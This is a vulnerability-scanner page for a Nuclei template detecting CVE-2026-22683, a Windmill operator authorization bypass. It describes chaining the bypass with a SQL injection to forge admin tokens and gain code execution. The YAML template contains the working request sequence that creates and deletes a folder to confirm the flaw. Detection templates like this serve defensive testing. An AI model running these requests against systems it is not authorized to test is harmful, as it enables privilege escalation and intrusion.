SecurityContext

CVE-2026-22683: Windmill < 1.603.3 - Operator Authorization Bypass

  • Template: CVE-2026-22683
  • Name: Windmill < 1.603.3 - Operator Authorization Bypass
  • Description: Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.
  • Impact: An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.
  • Remediation: Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.
  • Severity: high
  • Authors: chocapikk, DhiyaneshDK
  • Tags: cve, cve2026, windmill, operator, privesc, authenticated
  • References: https://github.com/Chocapikk/Windfall, https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe, https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/, https://nvd.nist.gov/vuln/detail/CVE-2026-22683
  • Cves: CVE-2026-22683
  • Verified: yes
  • Max requests: 5
  • Directory: http/cves
  • Path: http/cves/2026/CVE-2026-22683.yaml
  • Digest: 490a0046304402207ef46ef98ed01bb89290db39855e8976d5ea133fc5dc8d131cb3833b8698c7ec02203061b5bb4fff59fce89f6e8b1ac71df08af95f16aeba0e187445170bdb74902c
  • Created at: 2026-07-23T07:38:39Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 124
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-22683.yaml

Classification

  • Cwe: CWE-862
  • Cvss score: 8.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Epss score: 0.02609
  • Epss percentile: 0.85791
  • Not known: cpe

Metadata

  • Max-request: 5
  • Product: windmill
  • Vendor: windmill-labs
  • Verified: yes

Products

ProductIndexedUrl
windmill-labs:windmillno—

Labels

  • Name: Windmill - Broken Access Control
  • Impact: Operators can escalate privileges to execute arbitrary code remotely, potentially compromising the entire Windmill deployment.
  • Remediation: Update to a version later than 1.614.0 or the latest available version.
  • Vulnerability type: broken_access_control
  • Vulnerability impact: remote_code_execution, privilege_escalation
  • Requirement type: logged_in
  • Requirements: Attacker must have Operator role
  • Labels source: projectdiscovery
  • From cve: CVE-2026-22683

```yaml

id: CVE-2026-22683

info:

name: Windmill < 1.603.3 - Operator Authorization Bypass

author: chocapikk,DhiyaneshDK

severity: high

description: |

Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.

impact: |

An attacker with operator-level credentials can bypass role restrictions to create and manage folders. When chained with CVE-2026-23696 (SQL injection in folder addowner), this enables extraction of the JWT signing secret, forging of admin tokens, and escalation to super admin with arbitrary code execution on the server.

remediation: |

Update Windmill to version 1.603.3 or later which properly enforces operator role restrictions on folder management and job execution endpoints.

reference:

- https://github.com/Chocapikk/Windfall

- https://github.com/windmill-labs/windmill/commit/942fb629210ebb287f48467d1535ffde3a3eeafe

- https://chocapikk.com/posts/2026/windfall-nextcloud-flow-windmill-rce/

- https://nvd.nist.gov/vuln/detail/CVE-2026-22683

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

cvss-score: 8.1

cve-id: CVE-2026-22683

epss-score: 0.02609

epss-percentile: 0.85791

cwe-id: CWE-862

metadata:

verified: true

max-request: 5

vendor: windmill-labs

product: windmill

tags: cve,cve2026,windmill,operator,privesc,authenticated

variables:

folder: "{{to_lower(rand_text_alpha(8))}}"

flow: |

http("list-workspaces") && http("check-role") && http("create-folder") && http("verify-bypass") && http("cleanup")

http:

- id: list-workspaces

raw:

- |

GET /api/workspaces/list HTTP/1.1

Host: {{Hostname}}

Authorization: Bearer {{token}}

Content-Type: application/json

matchers:

- type: word

words:

- '"id"'

internal: true

extractors:

- type: regex

name: workspace

part: body

group: 1

regex:

- '"id"\s*:\s*"([^"]+)"'

internal: true

- id: check-role

raw:

- |

GET /api/w/{{workspace}}/users/whoami HTTP/1.1

Host: {{Hostname}}

Authorization: Bearer {{token}}

Content-Type: application/json

matchers:

- type: dsl

dsl:

- "contains_all(body, '\"operator\":true','\"is_admin\":false')"

internal: true

- id: create-folder

raw:

- |

POST /api/w/{{workspace}}/folders/create HTTP/1.1

Host: {{Hostname}}

Authorization: Bearer {{token}}

Content-Type: application/json

{"name":"{{folder}}"}

matchers:

- type: word

words:

- "Created folder"

internal: true

- id: verify-bypass

raw:

- |

GET /api/w/{{workspace}}/folders/get/{{folder}} HTTP/1.1

Host: {{Hostname}}

Authorization: Bearer {{token}}

Content-Type: application/json

matchers-condition: and

matchers:

- type: word

words:

- '"owners"'

- '"extra_perms"'

condition: and

- type: status

status:

- 200

- id: cleanup

raw:

- |

DELETE /api/w/{{workspace}}/folders/delete/{{folder}} HTTP/1.1

Host: {{Hostname}}

Authorization: Bearer {{token}}

Content-Type: application/json

matchers:

- type: status

status:

- 200

internal: true

digest: 490a0046304402207ef46ef98ed01bb89290db39855e8976d5ea133fc5dc8d131cb3833b8698c7ec02203061b5bb4fff59fce89f6e8b1ac71df08af95f16aeba0e187445170bdb74902c:922c64590222798bb761d5b6d8e72950

```